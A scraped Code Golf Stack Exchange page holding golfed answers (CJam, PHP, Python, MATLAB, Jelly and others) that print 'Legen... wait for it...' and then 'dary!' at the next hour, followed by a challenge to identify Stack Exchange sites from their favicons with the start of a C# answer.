here.](http://cjam.aditsu.net/#code=et3%3D%22Legen...%20wait%20for%20it...%0A%22o%7B_et3%3D%3D%7Dg%3B%22dary!%22) But note that the online interpreter doesn't show any output until the program terminates. Alternatively, you can run it on [Try it online](http://cjam.tryitonline.net/#code=ZXQzPSJMZWdlbi4uLiB3YWl0IGZvciBpdC4uLgoib3tfZXQzPT19ZzsiZGFyeSEi&input=), where the output is shown *almost* immediately instead of being buffered (but when you test it with seconds instead of hours, the delay will be noticeable). In any case, if you run it locally with the Java interpreter, it works like a charm. ### Explanation This makes use of CJam's `et` which gives you an array of ``` [year month day hour minute second ms weekday utc_offset] ``` Here is a breakdown of the code: ``` et3= e# Get the current hour. "Legen..." e# Push the first string including the linefeed. o e# Print it. { e# While the top of stack is truthy (which is popped)... _ e# Copy the original hour. et3= e# Get the current hour. = e# Check for equality. }g ; e# Discard the original hour. "dary!" e# Push the second string which is printed automatically. ``` ### Bonus This also works for the same byte count: ``` et4<"Legen... wait for it... "o{et1$#!}g;"dary!" ``` Instead of selecting the hour, we're selecting the prefix with the date *and* the hour, and keep the loop going while the datetime array still has that prefix. [Answer] # AppleScript, ~~157~~ 149 bytes Huh. Surprisingly contending. ``` set d to number 1 in time string of(current date) log"Legen... wait for it..." repeat while d=number 1 in time string of(current date) end log"dary!" ``` Since `log` prints to the Messages pane of Script Editor, I consider it to be the closest output to STDOUT. Basically, if you get the time string of current date, it'll do something like this: Code: ``` time string of(current date) ``` Output: ``` 5:02:03 PM ``` It will grab the first number (`5`) before the colon. I thought it'd be a lot longer than this, actually. xD [Answer] ## [Snowman 1.0.2](https://github.com/KeyboardFire/snowman-lang/releases/tag/v1.0.2-beta), ~~70~~ 69 bytes ``` ~"Legen... wait for it... "sP3600000*vt#nDnC!*:vt+#nD!#nL;bD"dary!"sP ``` Explanation: ``` ~ Make all variables active. "..."sP Print the first string. 3600000*vt#nD Get the number of hours since the Unix epoch. nC Ceiling (round up), giving the time (divided by 36000) at which to print the second string. !* Save that in a permavar. :...;bD Do the stuff in the block while its "return value" is truthy. vt+#nD Again, get the number of hours since epoch. !# Store the permavar that we saved earlier. nL Is the current time less than the target time? (if so, keep looping) "..."sP Print the second string. ``` [Answer] # PHP, 76, 70, 65, 62 51 bytes ``` Legen... wait for it... <?while(+date(is));?>dary! ``` Previous logic (63b): ``` Legen... wait for it... <?for($h=date(G);date(G)==$h;)?>dary! ``` This kind of coding makes you loose your job, but this loops until the time is 1 hour further than init. -1 byte by replacing `{}` afer the while to `;` (thanks manatwork) -5 bytes by replacing `echo'dary!';` to `?>dary!` (thanks manatwork) -4 bytes by replacing `<?php` to the short version `<?` (thanks primo) -1 byte by replacing the `while` for a `for` -3 bytes by replacing `date(G)!=$h+1` to `date(G)==$h` (thanks primo) [Answer] ## [Perl 6](http://perl6.org), 60 bytes ``` sleep 60²-now%60²+say 'Legen... wait for it..';say 'dary!' ``` [Answer] # Javascript 94 90 87 bytes Not golfed that much... ``` alert`Legen... wait for it...`,l=l=>~~(Date.now()/36e5);for(z=l();z==l(););alert`dary!` ``` Downgoat's version: ``` (a=alert)`Legen... wait for it...`,z=(b=new Date().getHours)();for(;z==b(););a`dary!` ``` It stores the current hour and loops for as long as the "old" hour is equal to the current one. As soon as the hour has changed, it will print the rest! :D Disclaimer: If your browser dislikes it, you have been warned. [Answer] # Python 2, ~~82~~ 81 bytes ``` from time import*;print'Legen... wait for it...';sleep(-time()%3600);print'dary!' ``` Too low a reputation to comment. Python 2 version of Alexander Nigl's solution. Saves characters lost on brackets. Also, 3600 not needed in the sleep time calculation. 7 characters saved overall. Edit: -1 byte thanks to @Kevin Cruijssen [Answer] # MATLAB - 89 bytes ``` a=@()hour(now);disp('Legen... wait for it...');while(mod(a()+1,24)~=a())end;disp('dary!') ``` Pretty self-explanatory. First, create a function handle to grab the current hour of the system clock. Then, display `Legen... wait for it...` with a carriage return, and then we go into a `while` loop where we keep checking to see if the current hour added with 1 is **not** equal to the current hour. If it is, keep looping. Only until the instant when the next hour happens, we display `dary!` and a carriage return happens after. MATLAB's hour is based on 24-hour indexing, so the `mod` operation with base 24 is required to handle spilling over from 11 p.m. (23:00) to midnight (00:00). ## Minor Note The [`hour`](http://www.mathworks.com/help/finance/hour.html) function requires the Financial Time Series toolbox. The [`now`](http://www.mathworks.com/help/matlab/ref/now.html) function is not subject to this restriction, but it retrieves the current date and time as a serial number which `hour` thus uses to compute the current hour. ## Want to run this in Octave? Sure! Because Octave doesn't have this toolbox, we'd just have to modify the `hour` function so that it calls [`datevec`](http://www.mathworks.com/help/matlab/ref/datevec.html) which returns a vector of 6 elements - one for each of the year, month, day, hour, minutes and seconds. You'd just have to extract out the fourth element of the output: ``` a=@()datevec(now)(4);disp('Legen... wait for it...');while(mod(a()+1,24)~=a())end;disp('dary!') ``` The additional characters make the solution go up to 98 bytes, but you'll be able to run this in Octave. Note the in-place indexing without a temporary variable in the function handle. # No Financial Time Series Toolbox? If you want to run this in MATLAB **without** the Financial Time Series Toolbox, because you can't index into variables immediately without at temporary one, this will take a bit more bytes to write: ``` disp('Legen... wait for it...');h=datevec(now);ans=h;while(mod(h(4)+1,24)~=ans(4)),datevec(now);end;disp('dary!'); ``` This first obtains the current time and date and stores it into the variable `h` as well as storing this into the automatic variable called `ans`. After, we keep looping and checking if the current hour isn't equal to the next hour. At each iteration, we keep updating the automatic variable with the current time and date. As soon as the next hour matches with the current time and date, we display the last part of the string and quit. This pushes the byte count to 114. --- Also take note that you can't try this online. Octave interpreters online will have a time limit on when code executes, and because this is a `while` loop waiting for the next hour to happen, you will get a timeout while waiting for the code to run. The best thing you can do is run it on your own machine and check that it works. [Answer] ## Mathematica, ~~85~~ ~~84~~ 81 bytes ``` c=Print;c@"Legen... wait for it...";a:=DateValue@"Hour";b=a;While[a==b];c@"dary!" ``` [Answer] # C, 163 bytes ``` #include<time.h> f(){puts("Legen... wait for it...");time_t t=time(0);struct tm l=*localtime(&t);while(l.tm_min+l.tm_sec)t=time(0),l=*localtime(&t);puts("dary!");} ``` [Answer] # Microscript II, 45 bytes ``` "Legen... wait for it..."P[36s5E*sD%_]"dary!" ``` Finally, a use for the `D` instruction. Prints the first string, repeatedly takes the UTC time in milleseconds modulo 3,600,000 until this yields 0, and then produces the second string which is printed implicitly. The 3,600,000 is represented in the code as 36x105. [Answer] ## TI-BASIC, ~~70~~ 64 bytes ``` getTime Disp "Legen... wait for it... Repeat sum(getTime-Ans,1,1 End "dary ``` *Curse these two-byte lowercase letters!* `getTime` returns a three-element list `{hours minutes seconds}`, so the sum from the 1st element to the 1st is the hours. When there is a difference between the hours at the start and the current hours, the loop ends. Thanks to @FryAmTheEggman for this observation. [Answer] # R - 97 bytes ``` cat('Legen... wait for it...\n') Sys.sleep(1) while(as.double(Sys.time())%%3600>0){} cat('dary!') ``` [Answer] # Perl, 62 bytes ``` sleep -++$^T%3600+print'Legen... wait for it... ';print'dary!' ``` The special variable [`$^T`](http://perldoc.perl.org/perlvar.html#%24%5eT) (a.k.a `$BASETIME`) records the number seconds since epoch from when the script was started. Fortunately, leap seconds are not counted in the total, so that the following are equivalent: ``` print$^T%3600; @T=gmtime;print$T[1]*60+$T[0]; ``` Surprisingly, this variable is not read-only. [Answer] # Python 3 - 92 89 bytes ``` from time import*;print("Legen... wait for it...");sleep(3600-time()%3600);print("dary!") ``` [Answer] # Windows Command Script, 87 bytes ``` @set.=%time:~,2%&echo.Legen... wait for it... :. @if %.%==%time:~,2% goto:. @echo.dary! ``` This continually compares an hour-variable stored at start against the current hour and succeeds if different. [Answer] # [Japt](https://github.com/Japt/ETHproductions), ~~72~~ 61 bytes ``` `{?tT?e?t(Ã?t,36e5-?w D?e%36e5,'ÜÝ!'),'Leg?... Ø2 f? ?...\n'} ``` Each `?` represents a Unicode unprintable char. Here's how to obtain the full text: 1. Open the [online interpreter](https://codegolf.stackexchange.com/a/62685/42545). 2. Paste this code into the Code box: ``` Oc"`\{setTimeout(alert,36e5-new Date%36e5,'dary!'),'Legen... wait for it...\\n'} ``` 3. Run the code, then erase it from the Code box. 4. Select the contents of the Output box and **drag** to the Code box. **Copy-pasting will not work**. 5. Replace the first space with a non-breaking space. 6. (optional) Set your computer's clock to xx:59. 7. Run the code. Alternatively, here is a (hopefully reversible) hexdump: ``` 00000000: 607b a074 548b 658c 7428 c300 742c 3336 65 `{ tT?e?t(Ã?t,36e 00000011: 352d 9a77 2044 8565 2533 3665 352c 27dc dd 5-?w D?e%36e5,'ÜÝ 00000022: 2127 293b 274c 6567 812e 2e2e 20d8 3220 66 !'),'Leg?... Ø2 f 00000033: 8e20 8a2e 2e2e 5c6e 277d ? ?...\n'} ``` This code is based on [George Reith's JavaScript answer](https://codegolf.stackexchange.com/a/64885/42545), with a few Japt-specific changes. [I found out the other day](https://codegolf.stackexchange.com/a/64790/42545) that if you compress code and insert it into a backtick-wrapped string, it will automatically decompress. Here's how it's processed through compilation: ``` `{?tT?e?t(Ã?t,36e5-?w D?e%36e5,'ÜÝ!'),'Leg?... Ø2 f? ?...\n'} "{setTimeout(alert,36e5-new Date%36e5,'dary!'),'Legen... wait for it...\n'}" ""+(setTimeout(alert,36e5-new Date%36e5,'dary!'),'Legen... wait for it...\n')+"" ``` In JS, a pair of parentheses will return the last value inside; thus, this code sets the timed event, then returns the `'Legen...'` string, which is automatically sent to STDOUT. Since Japt currently has no way to add content to STDOUT other than automatic output on compilation, I've instead used the vanilla JS function `alert` for the timed output. I hope this is allowed. [Answer] # Powershell, ~~52~~ 51 bytes *-1 byte thanks @Veskah* ``` 'Legen... wait for it...' for(;Date|% M*e){}'dary!' ``` This expression `Date|% M*e` gets value from `Minute` property from the Current DateTime value. The loop ends when `Minute` equal to 0. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~48 47~~ 45 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) -1 byte thanks to Erik the Golfer (use "Leg" as a word in the compression) -2 thanks to caird coinheringaahing ``` “ÇỴġƒḃhlḂṀ⁷*Ḣ¡w*Jḷv»Ṅø3ŒTṣ”:V59_ḅ60‘œS@“dary! ``` **[Try it online!](https://tio.run/##AVoApf9qZWxsef//4oCcw4fhu7TEocaS4biDaGzhuILhuYDigbcq4biiwqF3KkrhuLd2wrvhuYTDuDPFklThuaPigJ06VjU5X@G4hTYw4oCYxZNTQOKAnGRhcnkh//8 "Jelly – Try It Online")** Or [run a test version](https://tio.run/##AWEAnv9qZWxsef//4oCcw4fhu7TEocaS4biDaGzhuILhuYDigbcq4biiwqF3KkrhuLd2wrvhuYTDuOKAnDU5OjU34oCd4bmj4oCdOlY1OV/huIU2MOKAmMWTU0DigJxkYXJ5If// "Jelly – Try It Online") with a hard coded time-formatted-string of `“59:57”` ("mm:ss"). (Note: TIO buffers output, but local runs work as expected.) There is, at the time of writing, only one way to access the time which is by way of a formatted string, `ŒT`. This code calculates how long to wait and then sleeps. If called at `hh:00:00` it waits for `3600` seconds: it converts `"00:00"` to `[0,0]` then subtracts that from `59` to yield `[59,59]`, converts that from base sixty to give `3599`, then adds one for a total wait period of `3600` seconds. Maybe a loop could be made; or a compressed string using the whole word "Legendary" could be utilised somehow? ``` “ÇỴġƒḃhlḂṀ⁷*Ḣ¡w*Jḷv»Ṅø3ŒTṣ”:V59_ḅ60‘œS@“dary! - Main link: no arguments “ÇỴġƒḃhlḂṀ⁷*Ḣ¡w*Jḷv» - compressed "Legen... wait for it..." Ṅ - print z + '\n', return z ø - niladic chain separation 3ŒT - '011' (3) time formatted string = "mm:ss" ṣ”: - split on ':' -> ["mm","ss"] V - eval -> [m,s] 59_ - subtract from 59 - > [59-m, 59-s] ḅ60 - convert from base 60 -> 60*(59-m)+(59-s) ‘ - increment -> 60*(59-m)+(59-s) = y “dary! - "dary!" = x œS@ - sleep y seconds then return x - implicit print ``` [Answer] ## Python, 112 bytes ``` import time as t;print "Legen... wait for it...";n=t.ctime();t.sleep((60-n.tm_min)*60+60-n.tm_sec);print "dary!" ``` Pretty self explanatory. [Answer] ## Python - 159 bytes ``` from datetime import*;from threading import*;p=print;n=datetime.now();p('Legen... wait for it...');Timer(3600-(n.minute*60+n.second),lambda:p('dary!')).start() ``` [Answer] # [Mouse-2002](https://github.com/catb0t/mouse15), 62 bytes Requires the user to press enter. I think. ``` "Legen... wait for it..."?&HOUR 1+x:(&HOUR x.=["dary"33!'0^]) ``` --- Okay, well, while we're taking lots of bytes and not winning anything, let's have a little fun. ``` "Legen... wait for it... "? ~ print & require keypress &HOUR 1+ x: ~ get hr, add 1 and assign ( ~ while(1) &HOUR x. = ~ cmp current hr, stored hr [ ~ if same #B; ~ backspace "dary"36!' ~ print this string and a ! 0^ ~ exit cleanly ] ~ fi &MIN 59 - &ABS ! ~ get min, subtract from 59, abs & print ":" ~ record sep &SEC 59 - &ABS ! ~ same for second #B; ~ backspace ) $B 8!' 8 !' 8 !' 8 !' 8 !'@ ~ backspace 5* $ ~ \bye ``` Sample: ``` $ mouse legend.m02 Legen... wait for it... 20:32 ``` See, it's an updating-in-place countdown timer to the next hour! It makes good use of the while loop, which even doing nothing at all will occupy a core. [Answer] # BASIC, 90 bytes ``` Print"Legen... wait for it...":x$=Left(Time,2):Do:Loop Until x$<>Left(Time,2):Print"dary!" ``` Straightforward, golfed using the type prefixes and the implicit `End` statement. Cost is that it works only in [FreeBasic](http://www.freebasic.net/) dialect `fblite`. [Answer] # Befunge 98 - ~~69~~ 63 bytes ``` v v>a"...ti rof tiaw ...negeL<ETB>"k, >"EMIT"4(MS+_"!yrad"5k,@ ``` The code contains one unprintable character (represented by `<ETB>` as unprintables don't seem to show up in code blocks). Its character code is 23 (an [End transmission block character](https://en.wikipedia.org/wiki/End_Transmission_Block_character)). Warning: The preceding code will run in a busy loop with the stack getting bigger each repetition and thus may consume large amounts of memory. [Answer] # [MathGolf](https://github.com/maxbergmark/mathgolf), 39 bytes ``` "Legen... wait for it..."pÆt♪/╚÷▼"dary! ``` [Try it online!](https://tio.run/##y00syUjPz0n7/1/JJzU9NU9PT0@hPDGzRCEtv0ghswTIVSo43FbyaOYqfePD2x9N26OUklhUqfj/PwA "MathGolf – Try It Online") Almost beat pyth... ## Explanation ``` Æ ▼ Repeat the next 5 characters while false t push unix time in milliseconds ♪/ divide by 1000 ╚÷ check if divisible by 3600 (tio solution has 3 in its place) ``` [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal) `o`, 36 bytes ``` `Le₁ǐ... ʁṁ λ⟑ it...`,kḢ{:kḢ=|}`d₴⁼! ``` [Don't Try it Online!](https://lyxal.pythonanywhere.com?flags=o&code=%60Le%E2%82%81%C7%90...%20%CA%81%E1%B9%81%20%CE%BB%E2%9F%91%20it...%60%2Ck%E1%B8%A2%7B%3Ak%E1%B8%A2%3D%7C%7D%60d%E2%82%B4%E2%81%BC!&inputs=&header=&footer=) In the online interpreter, all output happens at once, so you can't see exactly what's happening. However, if you download and run the interpreter, you can see that it functions as expected. Explanation: ``` `Le₁ǐ... ʁṁ λ⟑ it...` # Dictionary-compressed string "Legen... wait for it..." , # Print with newline kḢ{:kḢ= } # While the current hour hasn't changed: | # Do nothing `d₴⁼! # Dictionary-compressed string "dary!" # "o" flag - Force implicit output ``` [Answer] # Pyth - 36 bytes Waits till the minutes is 0 with a while loop. ``` "Legen... wait for it..."W.d7)"dary! ``` [Answer] # Java, 136 bytes ``` class a{void A(){System.out.println("Legen... wait for it...");while(System.currentTimeMillis()%3600000!=0);System.out.print("dary!");}} ``` How many milliseconds passed since the last full hour is the result of `System.currentTimeMillis()` mod 3,600,000. The equivalent monolithic program is 159 bytes long: ``` interface a{static void main(String[]A){System.out.println("Legen... wait for it...");while(System.currentTimeMillis()%3600000!=0);System.out.print("dary!");}} ``` ]
[Question] [ After spending a while on Stack Exchange, I can recognise most sites in the Hot Network Questions by their little icon (which is also their [favicon](http://en.wikipedia.org/wiki/Favicon)), but certainly not all of them. Let's write a program which can! You're to write code which determines the site, given one of the (currently) 132 favicons, including Stack Overflow in Japanese (which is still in private beta): ![Academia](https://i.stack.imgur.com/ExLce.png) ![Android Enthusiasts](https://i.stack.imgur.com/lVnje.png) ![Anime & Manga](https://i.stack.imgur.com/F9koH.png) ![Ask Different](https://i.stack.imgur.com/lGYum.png) ![Arduino](https://i.stack.imgur.com/cMBf4.png) ![Ask Ubuntu](https://i.stack.imgur.com/f1HFa.png) ![Astronomy](https://i.stack.imgur.com/9rVJe.png) ![Aviation](https://i.stack.imgur.com/sqYuE.png) ![Video Production](https://i.stack.imgur.com/JlgoN.png) ![Beer](https://i.stack.imgur.com/KOYsm.png) ![Bicycles](https://i.stack.imgur.com/cPPGw.png) ![Biology](https://i.stack.imgur.com/oP2vK.png) ![Bitcoin](https://i.stack.imgur.com/MJMOn.png) ![Blender](https://i.stack.imgur.com/EqBVx.png) ![Board & Card Games](https://i.stack.imgur.com/wDP6g.png) ![Stack Overflow in Portuguese](https://i.stack.imgur.com/eZ2Bd.png) ![LEGO Answers](https://i.stack.imgur.com/SIaKb.png) ![Buddhism](https://i.stack.imgur.com/MCYHg.png) ![Chemistry](https://i.stack.imgur.com/duWz7.png) ![Chess](https://i.stack.imgur.com/aHwwJ.png) ![Chinese Language](https://i.stack.imgur.com/jZv2h.png) ![Christianity](https://i.stack.imgur.com/8ytku.png) ![Programming Puzzles & Code Golf](https://i.stack.imgur.com/A7hNs.png) ![Code Review](https://i.stack.imgur.com/1wsHn.png) ![Cognitive Sciences](https://i.stack.imgur.com/PCvwl.png) ![Community Building](https://i.stack.imgur.com/9DHju.png) ![Seasoned Advice](https://i.stack.imgur.com/XpLeD.png) ![Craft CMS](https://i.stack.imgur.com/1TOkb.png) ![Cryptography](https://i.stack.imgur.com/Shkad.png) ![Computer Science](https://i.stack.imgur.com/OgiPs.png) ![Theoretical Computer Science](https://i.stack.imgur.com/7GRGz.png) ![Data Science](https://i.stack.imgur.com/NbXyZ.png) ![Database Administrators](https://i.stack.imgur.com/ZsXZn.png) ![Home Improvement](https://i.stack.imgur.com/aFjTE.png) ![Drupal Answers](https://i.stack.imgur.com/1ynsk.png) ![Signal Processing](https://i.stack.imgur.com/hXnlu.png) ![Earth Science](https://i.stack.imgur.com/EDHlh.png) ![Ebooks](https://i.stack.imgur.com/Mf9AX.png) ![Economics](https://i.stack.imgur.com/WjWfQ.png) ![Electrical Engineering](https://i.stack.imgur.com/1Arb2.png) ![English Language Learners](https://i.stack.imgur.com/1lV0u.png) ![Emacs](https://i.stack.imgur.com/eTEOp.png) ![English Language & Usage](https://i.stack.imgur.com/5a6g6.png) ![Expatriates](https://i.stack.imgur.com/bnd92.png) ![ExpressionEngine Answers](https://i.stack.imgur.com/NLgML.png) ![Physical Fitness](https://i.stack.imgur.com/7G4qE.png) ![Freelancing](https://i.stack.imgur.com/bYuAY.png) ![French Language](https://i.stack.imgur.com/XW9Fi.png) ![Game Development](https://i.stack.imgur.com/l2avK.png) ![Arqade](https://i.stack.imgur.com/dn4WP.png) ![Gardening & Landscaping](https://i.stack.imgur.com/F8pQ9.png) ![Genealogy & Family History](https://i.stack.imgur.com/KMyec.png) ![German Language](https://i.stack.imgur.com/si3gH.png) ![Geographic Information Systems](https://i.stack.imgur.com/318sn.png) ![Graphic Design](https://i.stack.imgur.com/hkADM.png) ![Amateur Radio](https://i.stack.imgur.com/lrrPd.png) ![Biblical Hermeneutics](https://i.stack.imgur.com/uTyok.png) ![Hinduism](https://i.stack.imgur.com/G8toH.png) ![History](https://i.stack.imgur.com/BdXpm.png) ![Homebrewing](https://i.stack.imgur.com/UtALm.png) ![History of Science and Math](https://i.stack.imgur.com/OCRLg.png) ![Islam](https://i.stack.imgur.com/vfpQ7.png) ![Italian Language](https://i.stack.imgur.com/GO0gG.png) ![Stack Overflow in Japanese](https://i.stack.imgur.com/sbGvQ.png) ![Japanese Language](https://i.stack.imgur.com/rlDhw.png) ![Joomla](https://i.stack.imgur.com/3vP5L.png) ![Mi Yodeya](https://i.stack.imgur.com/jJgzR.png) ![Linguistics](https://i.stack.imgur.com/d7rgH.png) ![Magento](https://i.stack.imgur.com/1K7FL.png) ![Martial Arts](https://i.stack.imgur.com/pqZqU.png) ![Mathematics](https://i.stack.imgur.com/XbAO9.png) ![Mathematics Educators](https://i.stack.imgur.com/O68Pu.png) ![Mathematica](https://i.stack.imgur.com/VCZKC.png) ![MathOverflow](https://i.stack.imgur.com/YaMge.png) ![Motor Vehicle Maintenance & Repair](https://i.stack.imgur.com/KjBL2.png) ![Meta Stack Exchange](https://i.stack.imgur.com/W7aKd.png) ![Personal Finance & Money](https://i.stack.imgur.com/PZOpN.png) ![Movies & TV](https://i.stack.imgur.com/bucNJ.png) ![Music, Practice & Theory](https://i.stack.imgur.com/gYIja.png) ![Network Engineering](https://i.stack.imgur.com/Xznc8.png) ![Open Data](https://i.stack.imgur.com/laQ0h.png) ![The Great Outdoors](https://i.stack.imgur.com/NsgXT.png) ![Parenting](https://i.stack.imgur.com/xp2xT.png) ![Ask Patents](https://i.stack.imgur.com/uVJcH.png) ![Pets](https://i.stack.imgur.com/HTnyx.png) ![Philosophy](https://i.stack.imgur.com/JJQZ6.png) ![Photography](https://i.stack.imgur.com/GAZwd.png) ![Physics](https://i.stack.imgur.com/tLCCb.png) ![Project Management](https://i.stack.imgur.com/UzSv1.png) ![Poker](https://i.stack.imgur.com/oW9km.png) ![Politics](https://i.stack.imgur.com/MiXm3.png) ![Personal Productivity](https://i.stack.imgur.com/zHkoO.png) ![Programmers](https://i.stack.imgur.com/xaWUV.png) ![Puzzling](https://i.stack.imgur.com/27kW0.png) ![Quantitative Finance](https://i.stack.imgur.com/72Nx6.png) ![Raspberry Pi](https://i.stack.imgur.com/dMdq3.png) ![Reverse Engineering](https://i.stack.imgur.com/9AqLt.png) ![Robotics](https://i.stack.imgur.com/BzznC.png) ![Role-playing Games](https://i.stack.imgur.com/RdzR5.png) ![Russian Language](https://i.stack.imgur.com/JzLzj.png) ![Salesforce](https://i.stack.imgur.com/AcUpx.png) ![Computational Science](https://i.stack.imgur.com/snRgs.png) ![Science Fiction & Fantasy](https://i.stack.imgur.com/LKxuo.png) ![Information Security](https://i.stack.imgur.com/YgU3K.png) ![Server Fault](https://i.stack.imgur.com/uXglY.png) ![SharePoint](https://i.stack.imgur.com/DGPpX.png) ![Skeptics](https://i.stack.imgur.com/JvUbr.png) ![Software Recommendations](https://i.stack.imgur.com/MOzT3.png) ![Sound Design](https://i.stack.imgur.com/2b8ZD.png) ![Space Exploration](https://i.stack.imgur.com/JuzNK.png) ![Spanish Language](https://i.stack.imgur.com/48wRK.png) ![Sports](https://i.stack.imgur.com/61yir.png) ![Software Quality Assurance & Testing](https://i.stack.imgur.com/qS86L.png) ![Stack Apps](https://i.stack.imgur.com/Me8gM.png) ![Stack Overflow](https://i.stack.imgur.com/ggvk1.png) ![Startups](https://i.stack.imgur.com/ydUtc.png) ![Cross Validated](https://i.stack.imgur.com/yEkk1.png) ![Super User](https://i.stack.imgur.com/bCI2Z.png) ![Sustainable Living](https://i.stack.imgur.com/CnKXU.png) ![TeX - LaTeX](https://i.stack.imgur.com/ztqPL.png) ![Tor](https://i.stack.imgur.com/QsFO2.png) ![Travel](https://i.stack.imgur.com/vITI7.png) ![Tridion](https://i.stack.imgur.com/wscQa.png) ![Unix & Linux](https://i.stack.imgur.com/FszXL.png) ![User Experience](https://i.stack.imgur.com/4PMca.png) ![Web Applications](https://i.stack.imgur.com/HNg7D.png) ![Webmasters](https://i.stack.imgur.com/WIuQ3.png) ![Windows Phone](https://i.stack.imgur.com/OHchU.png) ![WordPress Development](https://i.stack.imgur.com/ytfRk.png) ![The Workplace](https://i.stack.imgur.com/Ry3O0.png) ![Worldbuilding](https://i.stack.imgur.com/RGJvC.png) ![Writers](https://i.stack.imgur.com/yCpo7.png) I've uploaded a ZIP file with all these images as PNGs [on GitHub](https://github.com/mbuettner/ppcg-stack-exchange-icons/blob/master/se-favicons-png.zip). Click the "Raw" button to download it. The order of the above icons is the alphabetical order of the file names in the zip. The corresponding site names (in this order) are: ``` Academia Android Enthusiasts Anime & Manga Ask Different Arduino Ask Ubuntu Astronomy Aviation Video Production Beer Bicycles Biology Bitcoin Blender Board & Card Games Stack Overflow in Portuguese LEGO Answers Buddhism Chemistry Chess Chinese Language Christianity Programming Puzzles & Code Golf Code Review Cognitive Sciences Community Building Seasoned Advice Craft CMS Cryptography Computer Science Theoretical Computer Science Data Science Database Administrators Home Improvement Drupal Answers Signal Processing Earth Science Ebooks Economics Electrical Engineering English Language Learners Emacs English Language & Usage Expatriates ExpressionEngine Answers Physical Fitness Freelancing French Language Game Development Arqade Gardening & Landscaping Genealogy & Family History German Language Geographic Information Systems Graphic Design Amateur Radio Biblical Hermeneutics Hinduism History Homebrewing History of Science and Math Islam Italian Language Stack Overflow in Japanese Japanese Language Joomla Mi Yodeya Linguistics Magento Martial Arts Mathematics Mathematics Educators Mathematica MathOverflow Motor Vehicle Maintenance & Repair Meta Stack Exchange Personal Finance & Money Movies & TV Music, Practice & Theory Network Engineering Open Data The Great Outdoors Parenting Ask Patents Pets Philosophy Photography Physics Project Management Poker Politics Personal Productivity Programmers Puzzling Quantitative Finance Raspberry Pi Reverse Engineering Robotics Role-playing Games Russian Language Salesforce Computational Science Science Fiction & Fantasy Information Security Server Fault SharePoint Skeptics Software Recommendations Sound Design Space Exploration Spanish Language Sports Software Quality Assurance & Testing Stack Apps Stack Overflow Startups Cross Validated Super User Sustainable Living TeX - LaTeX Tor Travel Tridion Unix & Linux User Experience Web Applications Webmasters Windows Phone WordPress Development The Workplace Worldbuilding Writers ``` **Notes:** * I've removed the `®` from `LEGO® Answers` and `ExpressionEngine® Answers`, so you don't have to worry about Unicode. * I've used English names for the Stack Overflows in Japanese and Portuguese for the same reason. * The icons of *Earth Science* and *Spanish Language* are indistinguishable. Therefore, given one of these icons, your code may return *either* of those sites (of your choosing). The same goes for *Magento* and *Martial Arts*. ## Rules You may write a program or function which * receives the (local) file name of the image via STDIN, command-line argument or function argument **or** receives the image file's contents via STDIN * returns or prints to STDOUT the name of the site, as listed above. Your code must recognise all 132 sites correctly (with the exception mentioned above). You may not make any assumptions about the file name (like that it's called `codegolf.png`). You may assume that the image has dimensions 16x16, and that it will indeed be one of the 132 images above. The above images are all PNGs, but you may use any other convenient raster graphics format, but you'll have to convert the images yourself. You should not make any assumptions about the actual byte stream of the image file, other than that it's a valid image in whatever format you chose. In particular, if there are multiple ways to encode the same image in your format (e.g. by adding irrelevant fields to the header section), your code must work for all of them. In short, your code should only rely on the pixel values themselves, no details of the file encoding it. As usual, you may not fetch any data from the internet. You have to determine the site from the image alone. You may use built-in or third-party functions to read the image file and get a list of colour values, but you must not use any other existing image processing functions. This is code golf, so the shortest answer (in bytes) wins. [Answer] # C#, 2760 bytes ``` namespace System{class P{static void Main(){var c="us>g System;us>g System.Draw>g;class p{publ' stZ' void c(){var b=(Bitmap)Bitmap.FromFile(Console.ReadL>e());Console.Write(!1,1[3,3#2?!4,4#1?!5,5#2?!@#1?!+$SupK UsK*Salesforce%]^$< F't~_Fantasy%8,8#6?$Arqade*Ask Ubuntu%@#6?$WordPress Development%8,8#4?!9,9#2?$Phys's*UsK ExpKience%+$Travel*Craft CMS%5,5^!@#6?!]#1?$TeX - LaTeX%+$Mi Yodeya*Meta Stack Exchange%]#6?$ProgrammK|2,2#5?$Christianity*MZhemZ'a%@[]^$MZhemZ'|0,0#1?$Cross ValidZed*Theoret'al ComputK <%2,2^!]#5?$Seasoned Adv'e*Drupal AnswK|]^$Graph' Design*WebmastK|2,2^!4,4#5?!5,5#2?!@^$Ask PZents*Home Improvement%@#6?$Android Enthusiasts*Skept'|5,5#4?!@#5?$Web Appl'Z~s*English/_Usage%@#4?!]#8?$SharePo>t*B'ycle|]#1?$Electr'al Eng>eK>g*DZabase Adm>istrZor|4,4^!5,5#2?!+$Game Development*Photography%@:SKvK Fault%+$Geograph' InformZ~ Systems*Unix_L>ux%5,5^!0`Stack Apps*The Workplace%+!@[]#4?$InformZ~ Security*Ask DiffKent%]:Role-play>g Games*PKsonal F>ance_Money%3,9#8?$Academia%5,15^$& > Japanese%0,13:&*& > Portuguese%2,2:MZhOvKflow%3,3:AviZ~%4,4^$LEGO AnswK|5,5[@[][0,1:PokK*Anime_Manga%+$BlendK*H>duism%][8,8:WritK|0,1^!2`RaspbKry Pi*W>dows Phone%+$Biology*Worldbuild>g%9,9:Movies_TV%8,8[6`Trid~*Islam%0,1:Mus', Pract'e_Theory*L>guist'|][@[9,9:Ches|+!4,6:Garden>g_Landscap>g*Susta>able Liv>g%4,6:Buddhism*Startup|8,8:English/ LearnK|3,4[6,7:Network Eng>eK>g%9,5:Magento%+$Motor Veh'le Ma>tenance_Repair*MZhemZ's EducZor|4,8:GKman/%7`Joomla%7,6[+$QuantitZive F>ance*Ardu>o%9`Chemistry*Cryptography%8,8[0,1^!@[3`Tor%4,5:French/*The GreZ Outdoor|3`Project Management%3,6:Ch>ese/*Space ExplorZ~%+!2,6:Programm>g Puzzles_Code Golf%@:Cognitive <s*Signal Process>g%1,0:Ebook|@[4,5:Earth <*BeK%8,5:Emacs*ExpZriZe|1`History of < and MZh%3,4[@[+$Homebrew>g%3,6:DZa <*Video Product~%5,7:Russian/%9,4[4,8:Bibl'al HKmeneut's*Philosophy%11,6:Board_Card Games*Bitco>%3,5[@[3,8:AmZeur Radio%5,6:Genealogy_Family History%6,9:Software Quality Assurance_Test>g*Open DZa%3,6[11,7:Code Review%+$ComputK <*Community Build>g%10,6[+$Sports*Software RecommendZ~|9`Sound Design*ComputZ~al <%3,7:Japanese/%5,8[7,5:Puzzl>g%8,5:Econom's*Express~Eng>e 